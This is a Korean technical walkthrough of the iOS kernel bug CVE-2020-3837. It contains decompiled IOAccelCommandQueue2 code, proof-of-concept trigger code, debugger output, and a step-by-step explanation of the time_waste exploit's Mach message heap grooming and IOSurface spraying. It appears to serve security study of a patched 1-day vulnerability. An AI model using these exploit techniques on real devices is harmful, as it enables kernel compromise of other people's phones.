  uintptr_t pid; // x22
  uintptr_t cq_id; // x23
  uintptr_t v10; // x24
  uintptr_t RegistryEntryID; // x0
  IOGraphicsAccelerator2 *v12; // x22
  IOGraphicsAccelerator2 *v13; // x22
  uintptr_t v14; // x22
  uintptr_t v15; // x23
  uintptr_t v16; // x24
  uintptr_t v17; // x0
  IOGraphicsAccelerator2 *v18; // x0
  IOGraphicsAccelerator2 *v19; // x19

  ret = 0xE00002BCLL;
...
    if ( *(_QWORD *)&this->gap1[4] && *(_QWORD *)&this->gap2[43] )
    {
...
          IOAccelCommandQueue2::submit_command_buffer(
            this,
            args->command[idx].kcmd_shmem,
            args->command[idx].seglist_shmem,
            *(_QWORD *)&args->command[idx].notify_1,
            *(_QWORD *)&args->command[idx].notify_2);
          ++idx;
        }
        while ( idx < args->count );
      }
      v18 = this->graphicsAccelerator2;
      *(_DWORD *)&v18[21].gap8[72] = this->pid;
      IOGraphicsAccelerator2::enable_gart_collector((__int64)v18);
      ret = 0;
    }
...
  }
  return ret;
}

gap1[4] 필드는 set_notification_port 호출을 통해 NULL이 아니게끔 만들 수 있다.

IOAccelBlockFencePort2::IOAccelBlockFencePort2 리턴값이 해당 필드에 저장된다.

여기까지가 수신용 알림 포트를 만들어야되는 이유가 되겠다.

__int64 __fastcall IOAccelCommandQueue2::set_notification_port(IOAccelCommandQueue2 *a1, __int64 a2)
{
  IOGraphicsAccelerator2 *graphicsAccelerator2; // x21
  IOGraphicsAccelerator2 *v5; // x19
  __int64 result; // x0
  OSObject *v7; // x0
  OSObject *v8; // x0
  IOGraphicsAccelerator2 *v9; // x19

  graphicsAccelerator2 = a1->graphicsAccelerator2;
  j__OSIncrementAtomic_29(&graphicsAccelerator2->lockCount);
  j__lck_mtx_lock_14(graphicsAccelerator2->lock);
  j__OSDecrementAtomic_2(&graphicsAccelerator2->lockCount);
  IOGraphicsAccelerator2::lock_busy();
  ((void (__fastcall *)(IOGraphicsAccelerator2 *, void *, _QWORD))graphicsAccelerator2->vtable->__ZN22IOGraphicsAccelerator218acceleratorDidLockEPKci)(
    graphicsAccelerator2,
    &empty,
    0);
  if ( *(_QWORD *)&a1->gap1[4] )
  {
    ...
    return 0xE00002C9LL;
  }
  v7 = (OSObject *)OSObject::operator new(0x50u);
  v8 = IOAccelBlockFencePort2::IOAccelBlockFencePort2(v7);
  *(_QWORD *)&a1->gap1[4] = v8;
  if ( v8 )
  {
    if ( (((__int64 (__fastcall *)(OSObject *, __int64))v8->__vftable[1].~OSObject)(v8, a2) & 1) != 0 )
    {
      v9 = a1->graphicsAccelerator2;
      ((void (__fastcall *)(IOGraphicsAccelerator2 *, void *, _QWORD))v9->vtable->__ZN22IOGraphicsAccelerator221acceleratorWillUnlockEPKci)(
        v9,
        &empty,
        0);
      IOGraphicsAccelerator2::unlock_busy(v9);
      j__lck_mtx_unlock_14(v9->lock);
      return 0;
    }
    v8 = *(OSObject **)&a1->gap1[4];
  }
...
  result = 0xE00002BDLL;
  *(_QWORD *)&a1->gap1[4] = 0;
  return result;
}

다시 돌아와서 이제 8바이트 헤더(명령 타입과 크기)의 IOAccelKernelCommand, 그 뒤에 오는 타입별 구조화된 데이터로 구성해준다. 구성된 데이터에 관해서는 “공유메모리가 어느 커널 주소에 해당되는지 확인하기” 단계에서 더 자세히 알아보겠다. IOAccelCommandQueue2_submit_command_buffers를 호출하면 타임스탬프 파싱함과 동시에 각각의 0x4000 크기의 공유된 커널 메모리에 값을 쓸려고 할것이다.

...

	struct {
		struct IOAccelCommandQueueSubmitArgs_Header header;
		struct IOAccelCommandQueueSubmitArgs_Command command;
	} submit_args = {};
	submit_args.header.count = 1;
	submit_args.command.command_buffer_shmem_id = command_buffer_shmem->shmem_id;
	submit_args.command.segment_list_shmem_id   = segment_list_shmem->shmem_id;

	struct IOAccelSegmentListHeader *slh = (void *)segment_list_shmem->data;
	slh->length = 0x100;
	slh->segment_count = 1;
	struct IOAccelSegmentResourceListHeader *srlh = (void *)(slh + 1);
	srlh->kernel_commands_start_offset = 0;
	srlh->kernel_commands_end_offset = 0x4000;

	struct IOAccelKernelCommand_CollectTimeStamp *cmd1 = (void *)command_buffer_shmem->data;
	cmd1->command.type = 2;
	cmd1->command.size = 0x4000 - 8;
	struct IOAccelKernelCommand_CollectTimeStamp *cmd2 = (void *)((uint8_t *)cmd1 + cmd1->command.size);
	cmd2->command.type = 2;
	cmd2->command.size = 8;

#define KTRW 0

	printf("IOAccelCommandQueue2::submit_command_buffers()\n");
#if KTRW
	sleep(4);
#endif
	IOAccelCommandQueue2_submit_command_buffers(IOAccelCommandQueue2, &submit_args.header, sizeof(submit_args));
	printf("timestamp = %llx\n", cmd1->timestamp);
#if KTRW
	sleep(4);
#endif

유저랜드와 공유하는 커널 공간에는 0x4000 크기의 segment list와 그 뒤에 0x4000 크기의 command buffer가 들어간다.

하지만, cmd1->command.size = 0x4000 - 8; 인 경우 패닉이 발생하는데, 이 경우, command buffer 뒤에 맵핑되지 않은 공간의 첫 8바이트에다가 OOB Write하기 때문에 패닉이 발생한다.

    // now:
    // +------------------+------------------+------------------+
    // |   segment list   |  command buffer  |     unmapped    ...
    // +------------------+------------------+------------------+
    //
(lldb) c
Process 1 resuming
Process 1 stopped
* thread #1, stop reason = breakpoint 1.1
    frame #0: 0xfffffff029efea8c kerneldec_1201_8
->  0xfffffff029efea8c: str    x0, [x20, #0x8]
    0xfffffff029efea90: b      0xfffffff029efea00
    0xfffffff029efea94: cbz    x1, 0xfffffff029efeb64
    0xfffffff029efea98: ldr    w8, [x20, #0x10]
Target 0: (kerneldec_1201_8) stopped.
(lldb) reg read x20
     x20 = 0xffffffe032793ff8
(lldb) x/16gx $x20
0xffffffe032793ff8: 0x0000000800000002 0x0000000000000000
0xffffffe032794008: 0x0000000000000000 0x0000000000000000
0xffffffe032794018: 0x0000000000000000 0x0000000000000000
...
warning: Not all bytes (8/128) were able to be read from 0xffffffe032793ff8.

공유메모리가 어느 커널 주소에 해당되는지 확인하기

이처럼 취약점은 페이지화 가능한 커널 맵의 서브맵에 매핑된 공유 메모리 버퍼 끝을 넘어 8바이트 타임스탬프의 일부 또는 전체를 쓸 수 있게 만든다. 이러한 페이지화 가능한 맵은 IOIteratePageableMaps()에 의해 필요에 따라 할당된다. 때문에 오버플로우가 대부분의 kalloc 할당이 발생하는 존 맵(zone map) 내부에서 발생하지 않으므로, 최근 공개된 iOS 커널 익스플로잇들에서 사용된 것과는 약간 다른 기법이 필요하다고 oob_timestamp 익스코드의 README 파일에 적혀있다.

그래서 저 공유메모리가 커널의 어느 주소에 해당되는지 poc_shmem_where 프로젝트를 만들었다.

https://github.com/wh1te4ever/xnu_1day_practice/tree/main/CVE-2020-3837/poc_shmem_where

아이디어는 공유 메모리를 할당하고 값을 쓸때에 +0x1000 위치에 특별한 시그니처를 남기는 것이다.

IOIteratePageableMaps 에 의해 제공되는 주소는 gIOKitPageableSpace에서 확인할 수 있고, 해당 구조체 필드를 따라 maps의 address와 end 범위를 0x1000 페이지 단위로 순회하면서 시그니처를 찾아내면 된다. (하지만, 엄청난 큰 크기로 공유메모리를 할당하려고 하면, maps의 address와 end 범위에 존재하지 않았다. 이는 나중에 조금 더 아랫부분에서 시행착오를 거친 경험을 이야기해보겠다.)

typedef struct {
    vm_map_t		map;
    vm_offset_t	address;
    vm_offset_t	end;
} IOMapData;

static struct {
    UInt32	count;
    UInt32	hint;
    IOMapData	maps[ kIOMaxPageableMaps ];
    lck_mtx_t *	lock;
} gIOKitPageableSpace;
void find_shmem_in_kernel(uint64_t *kva1, uint64_t *kva2, uint64_t command_buffer_shmem_sig, uint64_t segment_list_shmem_sig) {
    uint64_t command_buffer_shmem_data_kva = 0;
	uint64_t segment_list_shmem_data_kva = 0;
	uint64_t gIOKitPageableSpace_start = kread64(ksym(KSYMBOL_gIOKitPageableSpace) + 0x10);
	uint64_t gIOKitPageableSpace_end = kread64(ksym(KSYMBOL_gIOKitPageableSpace) + 0x18);

	int i = 0;

	while(1) {
		uint64_t current_kva = gIOKitPageableSpace_start + i * 0x1000;

		if(current_kva > gIOKitPageableSpace_end) {
			ERROR("failed to find where shmem allocated in kernel\n");
			break;
		}

		//check if valid readable kernel address to prevent kernel panic
		uint64_t current_pa = kvtophys(current_kva);
		if(current_pa == 0) continue;

		if(physread64(current_pa) == command_buffer_shmem_sig) {
			INFO("Found command_buffer_shmem in kernel: 0x%llx\n", current_kva-0x1000);
			command_buffer_shmem_data_kva = current_kva-0x1000;
            *kva1 = command_buffer_shmem_data_kva;
		}

		if(physread64(current_pa) == segment_list_shmem_sig) {
			INFO("Found segment_list_shmem in kernel: 0x%llx\n", current_kva-0x1000);
			segment_list_shmem_data_kva = current_kva-0x1000;
            *kva2 = segment_list_shmem_data_kva;
		}

		if(segment_list_shmem_data_kva && command_buffer_shmem_data_kva) break;

		i++;
	}
}

아래 실행 결과처럼 segment list는 항상 command buffer 앞에 위치하고 있고,

iPhone-8--1201:~ root# CVE-2020-3837 
[*] alloc_shmem ret: 0x0 ((os/kern) successful)
[i] offsets selected for iOS 12.0.1
host: 0xb03
[*] tfp0: 0xc03
[*] get_kbase ret: 0, kbase: 0xfffffff018604000, kslide: 0x11600000
[*] Found segment_list_shmem in kernel: 0xffffffe03231c000
[*] Found command_buffer_shmem in kernel: 0xffffffe032320000
[*] command_buffer_shmem_data_kva: 0xffffffe032320000
[*] segment_list_shmem_data_kva: 0xffffffe03231c000

구조화된 데이터는 다음과 같이 이뤄진다.

image.png

익스플로잇 방법

가장 큰 아이디어는 범위를 벗어난 OOB 타임스탬프 쓰기를 이용해 ipc_kmsg의 크기 필드를 손상시키는 것이다. Jakeashacks님이 익스플로잇을 개선시킨 time_waste 프로젝트 코드를 같이 보면서 알아보겠다.

우선 먼저 200개의 포트를 new_mach_port 함수로 만든다.

new_mach_port는 새로운 Mach 포트를 수신권한과 함께 먼저 생성시킨뒤,

기존의 receive right로부터 send right를 생성하여 같은 태스크 이름 공간에 삽입함에 따라 send/receive 권한을 둘다 가지게 된다.

그런 다음, 포트의 큐(수신 큐) 제한을 MACH_PORT_QLIMIT_LARGE(1024)로 늘리기 위해 mpl_qlimit 필드를 지정해주는 것으로 보인다.

mach_port_t new_mach_port() {
    mach_port_t port = MACH_PORT_NULL;
    kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (ret) {
        printf("[-] failed to allocate port\n");
        return MACH_PORT_NULL;
    }
    
    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (ret) {
        printf("[-] failed to insert right\n");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }
    
    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
    ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT);
    if (ret) {
        printf("[-] failed to increase queue limit\n");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }
    
    return port;
}

그러면 이제 POP_PORT 매크로로 하나씩 포트를 가져올 수 있다.

// setup 200 ports for later use
for (int i = 0; i < 200; i++) {
    ports[i] = new_mach_port();
}
int port_i = 0;

#define POP_PORT() ports[port_i++]

힙 그루밍 (Heap Grooming)

익스플로잇되는 과정을 더 자세히 살펴볼 수 있도록 ENABLE_HELPER 매크로 부분에 코드를 추가해놓았다.

해당 부분을 활성화시키면, 어느 주소에 커널메모리가 할당된건지 쉽게 알 수 있다.

코드를 보았을떄, 익스플로잇 하기전에 앞서 힙 그루밍을 수행하는 단계로 보여진다.

힙 그루밍(Heap Grooming)이란, 할당자 allocator의 동작을 조작해 힙 레이아웃을 제어하며, 이후 취약점을 이용할때 원하는 데이터가 특정위치에 만들도록 하는 기법을 말한다.

커널 한 페이지 크기가 4K인지, 16K인지에 따라 커널 힙 공격이 다르게 이루어지는데, 현재 시연되는 아이폰8 기기는 16K이다.

생성되었던 각 10개의 포트로 10MB씩 포트 메시지를 할당시키고, 할당된 영역을 구분하기 위해 0x72 또는 0x74 바이트 버퍼들로 채워지게끔 만들었다.

kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    struct simple_msg *msg = malloc(msg_size);
    
    memset(msg, 0, sizeof(struct simple_msg));
    
    msg->hdr.msgh_remote_port = destination;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = msg_size;
    
    memcpy(&msg->buf[0], buffer, size);
    
    kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
        printf("[-] failed to send message\n");
        mach_port_destroy(mach_task_self(), destination);
        free(msg);
        return ret;
    }
    free(msg);
    return KERN_SUCCESS;
}

...

// ----------- heap pre-exploit setup ----------- //
    INFO("Doing stage 0 heap setup\n");

	// fill kalloc_map so new allocations are always done in kernel_map (where our buffer that will get overflowed is)
    mach_port_t saved_ports[10];
    mach_msg_size_t msg_size = message_size_for_kalloc_size(7 * pagesize) - sizeof(struct simple_msg);
    data = calloc(1, msg_size);
    size_t stage0_sz = pagesize == 0x4000 ? 10 MB : 5 MB;
    for (int i = 0; i < 10; i++) {
        saved_ports[i] = POP_PORT();

        #if ENABLE_HELPER
        //helper; set signature
        if((i % 2) == 0) {memset(data, 0x74, msg_size);}
        else {memset(data, 0x72, msg_size);}
        #endif

        for (int j = 0; j < stage0_sz / (7 * pagesize); j++) {
            
            kern_return_t ret = send_message(saved_ports[i], data, msg_size);
            
            if (ret) {
                ERROR("Failed to send message\n");
                goto err;
            }
        }

        #if ENABLE_HELPER
        //helper; obtain msgdata_kptr
        uint64_t kmsgdata_kptr = find_kmsgdata_from_port(saved_ports[i]);
        INFO("saved_ports[%d](port=0x%x)'s msgdata_kptr = 0x%llx\n", i, saved_ports[i], kmsgdata_kptr);
        #endif
    }
    
    
    free(data);
    data = NULL;

    // we'll never do allocations smaller than 8 pages, so create some 7 page holes so the system can do small allocations there and leave us in peace
    mach_port_destroy(mach_task_self(), saved_ports[0]);
    mach_port_destroy(mach_task_self(), saved_ports[2]);
    mach_port_destroy(mach_task_self(), saved_ports[4]);
    mach_port_destroy(mach_task_self(), saved_ports[5]);
    mach_port_destroy(mach_task_self(), saved_ports[7]);
    mach_port_destroy(mach_task_self(), saved_ports[9]);

    // make a bunch of 8 page allocations to ensure there are no holes that mess with our allocations
    mach_port_t spray = POP_PORT();
    msg_size = message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg);
    data = calloc(1, msg_size);
    
    #if ENABLE_HELPER
    //helper; set signature
    memset(data, 0x81, msg_size);
    #endif

    for (int i = 0; i < MACH_PORT_QLIMIT_LARGE; i++) {  //MACH_PORT_QLIMIT_LARGE = (1024)
        kern_return_t ret = send_message(spray, data, msg_size);
        if (ret) {
            printf("[-] Failed to send message\n");
            goto err;
        }
    }

    #if ENABLE_HELPER
    //helper; obtain msgdata_kptr 
    uint64_t kmsgdata_kptr = find_kmsgdata_from_port(spray);
    INFO("spray(port=0x%x)'s msgdata_kptr = 0x%llx\n", spray, kmsgdata_kptr);
    // getchar();
    //
    #endif

여기까지 실행해봤을때, 각 10개의 포트들에 0x72 또는 0x74 버퍼들로 이루어진 커널 메시지 주소는 다음과 같이 나왔다.

saved_ports[6] 이후부터는 커널 힙 할당이 0xffffffe0cXXXXXXX 부터 제공받는것을 알 수 있다.

[*] Doing stage 0 heap setup
[*] saved_ports[0](port=0x1603)'s msgdata_kptr = 0xffffffe02cff7048
[*] saved_ports[1](port=0x1703)'s msgdata_kptr = 0xffffffe02d9eb048
[*] saved_ports[2](port=0x1803)'s msgdata_kptr = 0xffffffe02e3df048
[*] saved_ports[3](port=0x2703)'s msgdata_kptr = 0xffffffe02edd3048
[*] saved_ports[4](port=0x2603)'s msgdata_kptr = 0xffffffe02f7c7048
[*] saved_ports[5](port=0x1903)'s msgdata_kptr = 0xffffffe0301bb048
[*] saved_ports[6](port=0x1a03)'s msgdata_kptr = 0xffffffe0c395b048
[*] saved_ports[7](port=0x2503)'s msgdata_kptr = 0xffffffe0c434f048
[*] saved_ports[8](port=0x2403)'s msgdata_kptr = 0xffffffe0c4d43048
[*] saved_ports[9](port=0x1b03)'s msgdata_kptr = 0xffffffe0c5737048

다음으로, saved_ports[0, 2, 4, 5, 7, 9] 총 6개의 할당받았던 포트를 해제한다.

중간중간 사이에 7개의 포트를 해제시키는데, 만약 다른 프로세스가 할당받을 떄 그곳에 할당받도록 만들기 위해서이다.

앞으로 8페이지보다 작은 할당을 하진 않을 테니, 7페이지 크기의 hole을 만들어서 시스템의 7페이지 이하의 작은 할당이 그 hole로 가도록 유도시키는 것으로 보인다.

// we'll never do allocations smaller than 8 pages, so create some 7 page holes so the system can do small allocations there and leave us in peace
    mach_port_destroy(mach_task_self(), saved_ports[0]);
    mach_port_destroy(mach_task_self(), saved_ports[2]);
    mach_port_destroy(mach_task_self(), saved_ports[4]);
    mach_port_destroy(mach_task_self(), saved_ports[5]);
    mach_port_destroy(mach_task_self(), saved_ports[7]);
    mach_port_destroy(mach_task_self(), saved_ports[9]);

포트 하나에 kalloc 크기 = 8페이지인 메시지를 큐 리밋만큼 채워 커널 힙을 8페이지 블록으로 꽉 채우는 작업이다.

// make a bunch of 8 page allocations to ensure there are no holes that mess with our allocations
    mach_port_t spray = POP_PORT();
    msg_size = message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg);
    data = calloc(1, msg_size);
    
    #if ENABLE_HELPER
    //helper; set signature
    memset(data, 0x81, msg_size);
    #endif

    for (int i = 0; i < MACH_PORT_QLIMIT_LARGE; i++) {  //MACH_PORT_QLIMIT_LARGE = (1024)
        kern_return_t ret = send_message(spray, data, msg_size);
        if (ret) {
            printf("[-] Failed to send message\n");
            goto err;
        }
    }

    #if ENABLE_HELPER
    //helper; obtain msgdata_kptr 
    uint64_t kmsgdata_kptr = find_kmsgdata_from_port(spray);
    INFO("spray(port=0x%x)'s msgdata_kptr = 0x%llx\n", spray, kmsgdata_kptr);
    // getchar();
    //
    #endif
[*] spray(port=0x1c03)'s msgdata_kptr = 0xffffffe02cff8048

본격적인 힙 구성 시작

    // ----------- heap stage 1 setup -----------//
    
    INFO("Doing stage 1 heap setup\n");

1. IOSurface를 활용한 82MB 메모리영역 할당

IOSurface는 그래픽 버퍼의 처리 및 계산을 하기 위한 용도로 사용되는 커널 드라이버이다. 해당 커널 드라이버와 통신하기 위해 UserClient를 얻으면, 그 뒤로는 커널에 힙을 할당시키거나 스프레이하는데 유용하게 쓰인다.

여기서 우리는 IOSurace에서 제공하는 메소드인 IOSurfaceRootUserClient::set_value 를 이용하여 82M 크기의 빈 데이터를 적재시킨다.

 int IOSurface_empty_kalloc(uint32_t size, uint32_t kalloc_key) {
    uint32_t capacity = size / 16;
    
    if (capacity > 0x00ffffff) {
        printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
        return KERN_FAILURE;
    }
    
    size_t args_size = sizeof(struct IOSurfaceValueArgs) + 9 * 4;
    
    struct IOSurfaceValueArgs *args = calloc(1, args_size);
    args->surface_id = IOSurface_id;
    
    int i = 0;
    args->xml[i++] = kOSSerializeBinarySignature;                            //<kOSSerializeBinarySignature />
    args->xml[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;      //<array capacity="2">
    args->xml[i++] = kOSSerializeDictionary | capacity;                      //<dict capacity="capacity">
    args->xml[i++] = kOSSerializeSymbol | 4;                                 //<sym len="4">
    args->xml[i++] = 0x00aabbcc;                                             //\xaa\xbb\xcc</sym>
    args->xml[i++] = kOSSerializeBoolean | kOSSerializeEndCollection;        //<false/></dict>
    args->xml[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;     //<sym len="5">
    args->xml[i++] = kalloc_key;                                             //key</sym></array>
    args->xml[i++] = 0;

/*
    <kOSSerializeBinarySignature />
    <kOSSerializeArray>2</kOSSerializeArray>
    <kOSSerializeDictionary capacity=${capacity}>
        <kOSSerializeSymbol length=4>
            0x00aabbcc?
        </kOSSerializeSymbol>
        <kOSSerializeBoolean>false</kOSSerializeBoolean>
    </kOSSerializeDictionary>
    <kOSSerializeSymbol length=5>
        ${kalloc_key}
    </kOSSerializeSymbol>
    0 // Null-terminate
*/
    kern_return_t ret = IOSurface_set_value(args, args_size);
    
    free(args);
    return ret;
}

...
 
    int property_index = 0;
    uint32_t huge_kalloc_key = transpose(property_index++);
    ret = IOSurface_empty_kalloc(82 MB, huge_kalloc_key);
    if (ret) {
        ERROR("Failed to allocate empty kalloc buffer (ret: 0x%x, %s)\n", ret, mach_error_string(ret));
        goto err;
    }

image.png

IOSurface를 활용하여 적재된 데이터는 어느 주소에 위치해있는지 어떻게 확인할 수 있을까?

아래와 같이 자기 프로세스의 proc 주소를 찾은뒤에, 구조체 필드에 접근함으로써 IOSurfaceRootClient 객체 주소까지 접근이 가능하다.

Screenshot 2025-09-10 at 12.56.12 AM.png

마찬가지로, IOSurfaceRootUserClient 객체부터 구조체 필드에 차레로 접근함으로써 적재된 82MB 크기의 OSDictionary 객체까지 접근이 가능하다.

IOSurface.kext의 경우 – 오픈소스로 공개되있지 않기 때문에 약간의 리버싱이 필요하였다.

아래는 IOSurface의 properties(=UserspaceValueDictionary) 필드까지 접근한 장면이고,

image.png

코드로 구현하면, 아래와 같다.

uint64_t port_to_kobject(mach_port_t port)
{
    uint64_t ipc_port = find_port(port);
    uint64_t kobject = kread64(ipc_port + 0x68);    // 0x68 = p/x offsetof(ipc_port, kdata.kobject)
    return kobject;
} 

uint64_t userdict_from_IOSurface(void) {
	uint64_t surfRoot = port_to_kobject(IOSurfaceRootUserClient);
	// INFO("surfRoot: 0x%llx\n", surfRoot);

	// p/x offsetof(IOSurfaceRootUserClient, IOSurfaceClientArray) = 0x118;
	uint64_t surfClients = kread64(surfRoot + 0x118);
	// INFO("surfClients: 0x%llx\n", surfClients);

	uint64_t surfClient = kread64(surfClients + sizeof(uint64_t) * IOSurface_id);
	// INFO("surfClient: 0x%llx\n", surfClient);

	// p/x offsetof(IOSurfaceClient, IOSurface) = 0x40;
	uint64_t surface = kread64(surfClient + 0x40);
	// INFO("surface: 0x%llx\n", surface);

	// p/x offsetof(IOSurface, UserspaceValueDictionary) = 0xe8
	uint64_t userspaceValueDicts = kread64(surface + 0xe8);

	if(userspaceValueDicts != 0) return userspaceValueDicts;

	return 0;
}

properties(=UserspaceValueDictionary) 필드는 OSDictionary 타입이다.

pattern-f 씨가 구현한 kernel_fetch_dict 함수로 파싱한다음에는

//Thanks pattern-f, https://github.com/pattern-f/TQ-pre-jailbreak/blob/main/mylib/k_utils.c#L173
//found OSDictionary offsets from kernelcache.development.n71_151b3_6s
struct kOSDict *kernel_fetch_dict(uint64_t dict_addr)
{
    char obj[0x28];
    kreadbuf(dict_addr, obj, sizeof(obj));
    uint32_t cap = *(uint32_t *)(obj + 0x18); // 0x18 = p/x offsetof(OSDictionary, capacity)
    struct kOSDict *dict;
    size_t alloc_size = sizeof(*dict) + cap * (sizeof(struct kDictEntry) + sizeof(char *) + 256);
    dict = (struct kOSDict *)malloc(alloc_size);
    dict->self_addr = dict_addr;
    dict->cap = cap;
    dict->count = *(uint32_t *)(obj + 0x14); // 0x14 = p/x offsetof(OSDictionary, count)
    dict->items_addr = kread64(dict_addr + 0x20); // 0x20 = p/x offsetof(OSDictionary, dictionary)
    char *ptr = dict->data;
    dict->items = (struct kDictEntry *)ptr;
    ptr += sizeof(struct kDictEntry) * dict->cap;
    dict->names = (char **)ptr;
    ptr += sizeof(char *) * dict->cap;
    for (int i = 0; i < dict->cap; i++) {
        dict->names[i] = ptr;
        ptr += 256;
    }
    INFO("dict %#llx, items %#llx, count %u, capacity %u\n",
            dict->self_addr, dict->items_addr, dict->count, dict->cap);
	
    alloc_size = sizeof(struct kDictEntry) * dict->cap;
    kreadbuf(dict->items_addr, dict->items, alloc_size);
    for (int i = 0; i < dict->count; i++) {
        char obj[0x18];
        kreadbuf(dict->items[i].key, obj, sizeof(obj));
        // OSSymbol
        uint32_t len = *(uint32_t *)(obj + 0xc) >> 14;
        if (len >= 256) {
            len = 255;
        }
        uint64_t string = *(uint64_t *)(obj + 0x10);	//0x10 = p/x offsetof(OSString, string)
        kreadbuf(string, dict->names[i], len);
        dict->names[i][len] = 0;
        // INFO("    -> %s\n", dict->names[i]);
    }
    return dict;
}

이제 딕셔너리 내에 있는 오브젝트 주소를 가져올 수 있다.

해당 오브젝트 타입은 OSArray이거나 OSDictionary 등이 될 수 있는데,

dict = kernel_fetch_dict(userspaceValueDicts);
...
    for (int i = 0; i < dict->count; i++) {
		if(dict->items[i].value) {

우리는 args->xml[i++] = kOSSerializeDictionary | capacity;코드처럼 capacity와 같이 kOSSerializeDictionary 를 선언하여 Dictionary를 스프레이하였기 때문에, 해당 구조체를 알아보면 된다.

OSDictionary 구조체 중 capacity 필드는 +0x18 오프셋에 위치한다.

할당시킨 영역 크기는 82MB이므로, 해당 크기를 참고해서 OSDictionary 구조체의 capacity 필드를 읽었을때 서로 일치하는지 확인하면 된다.

00000000 struct __cppobj OSDictionary : OSCollection // sizeof=0x28
00000000 {
00000014     unsigned int count;
00000018     unsigned int capacity;
0000001C     unsigned int capacityIncrement;
00000020     OSDictionary::dictEntry *dictionary;
00000028 };

그리고 OSDictionary::dictEntry 구조체 중 key 필드의 타입은 OSString로부터 상속받으며, 필드에 차례로 접근하여 OSString 구조체의 string 필드를 읽었을때, 0xaabbcc라는 값으로 데이터를 사전에 써놨기에 서로 일치하면 우리가 할당한 영역이라고 더더욱 확신활 수 있다.

00000000 struct OSDictionary::dictEntry // sizeof=0x10
00000000 {
00000000     const OSSymbol *key;
00000008     const OSMetaClassBase *value;
00000010 };

00000000 struct __cppobj OSSymbol : OSString // sizeof=0x18
00000000 {
00000018 };

00000000 struct __cppobj OSString : OSObject // sizeof=0x18
00000000 {                                       // XREF: OSSymbol/r
00000000                                         // sub_FFFFFFF005C609D4/r
0000000C.0   unsigned __int32 flags : 14;
0000000C.14  unsigned __int32 length : 18;
00000010     char *string;
00000018 };

따라서 IOSurface를 활용하여 할당된 82MB 데이터가 존재하는지 확인시키는 코드는 다음과 같다.

#if ENABLE_HELPER
    //helper; find our sprayed IOSurface data
    uint64_t userspaceValueDicts = userdict_from_IOSurface();
	INFO("IOSurface's userspaceValueDicts: 0x%llx\n", userspaceValueDicts);
    struct kOSDict *dict = kernel_fetch_dict(userspaceValueDicts);
    uint64_t osdict_entry = 0;
    
    for (int i = 0; i < dict->count; i++) {
		if(dict->items[i].value) {
            uint32_t osdict_count = kread32(dict->items[i].value + off_osdictionary_count);
	        uint32_t osdict_capacity = kread32(dict->items[i].value + off_osdictionary_capacity);
            osdict_entry = kread64(dict->items[i].value + off_osdictionary_dictionary);

            if(osdict_capacity == (82 MB / 0x10)) {
                uint64_t osdictentry_key = kread64(osdict_entry + off_osdictentry_dict);  
                uint64_t osdict_kbuffer = kread64(osdictentry_key + off_osstring_string);
                
                if(kread32(osdict_kbuffer) == 0xaabbcc) {
                    SUCCESS("Found our 1st sprayed IOSurface data!\n");
                    INFO("OSDict from userspaceValueDicts[%u] = 0x%llx\n", i, dict->items[i].value);
                    INFO("osdict_count = 0x%x, osdict_capacity = 0x%x, osdict_entry = 0x%llx\n", osdict_count, osdict_capacity, osdict_entry);
                    INFO("osdictentry_key = 0x%llx\n", osdictentry_key);
                    INFO("osdict_kbuffer = 0x%llx -> 0x%x\n", osdict_kbuffer, kread32(osdict_kbuffer));
                    break;
                }
            }
		}
    }
    // getchar();
    //
#endif

실행 결과와 함께 huge kalloc은 아래 주소로 할당되었다.

huge kalloc(osdict_entry) = 0xffffffe0ca5d0000

[*] IOSurface's userspaceValueDicts: 0xffffffe002ba5230
[*] dict 0xffffffe002ba5230, items 0xffffffe002147e80, count 2, capacity 4
[+] Found our 1st sprayed IOSurface data!
[*] OSDict from userspaceValueDicts[1] = 0xffffffe002ba4d80
[*] osdict_count = 0x1, osdict_capacity = 0x520000, osdict_entry = 0xffffffe0ca5d0000
[*] osdictentry_key = 0xffffffe0019e1300
[*] osdict_kbuffer = 0xffffffe0037e8aa0 -> 0xaabbcc

Screenshot 2025-09-10 at 2.03.40 AM.png

2. 96MB seglist, cmdbuf 공유메모리 생성

다음으로, 향후에 OOB 취약점을 트리거시키는데 필요한 seglist, cmdbuf 2개의 공유메모리 영역를 생성한다.

할당시키는 과정에서 내부적으로 IOIteratePageableMaps()를 통해 IOKit 페이저블 메모리 영역을 할당하게 된다. IOKit 패이저블 맵의 최대 크기는 96MB이며, 각각 96MB 크기의 커맨드 버퍼와 세그먼트 리스트 영역을 생성하여 각자가 별도의 페이저블 맵에 할당되도록 만들 수 있다.

이는 공유 메모리 주소 예측에 사용할 수 있는 공간을 최대화시킬 수 있고, 커맨드 버퍼 끝을 벗어난 OOB 쓰기가 바로 인접한 다음 메모리 영역에 위치하도록 보장한다.

공유메모리를 생성하는데 앞서 커맨드 버퍼 크기를 아래와 같이 cmd1->command.size = (uint32_t)buffer_size - 16; 즉, 마지막 뺄 값을 -16으로 지정시킨것을 확인할 수 있다.

우리가 이전에 POC 트리거하려고 했을때는 -8로 뺄셈을 진행하였는데, 이 경우 타임스탬프가 최대 8바이트까지 OOB Write가 발생하여 패닉이 발생했기에, 이를 방지하는것을 보인다.

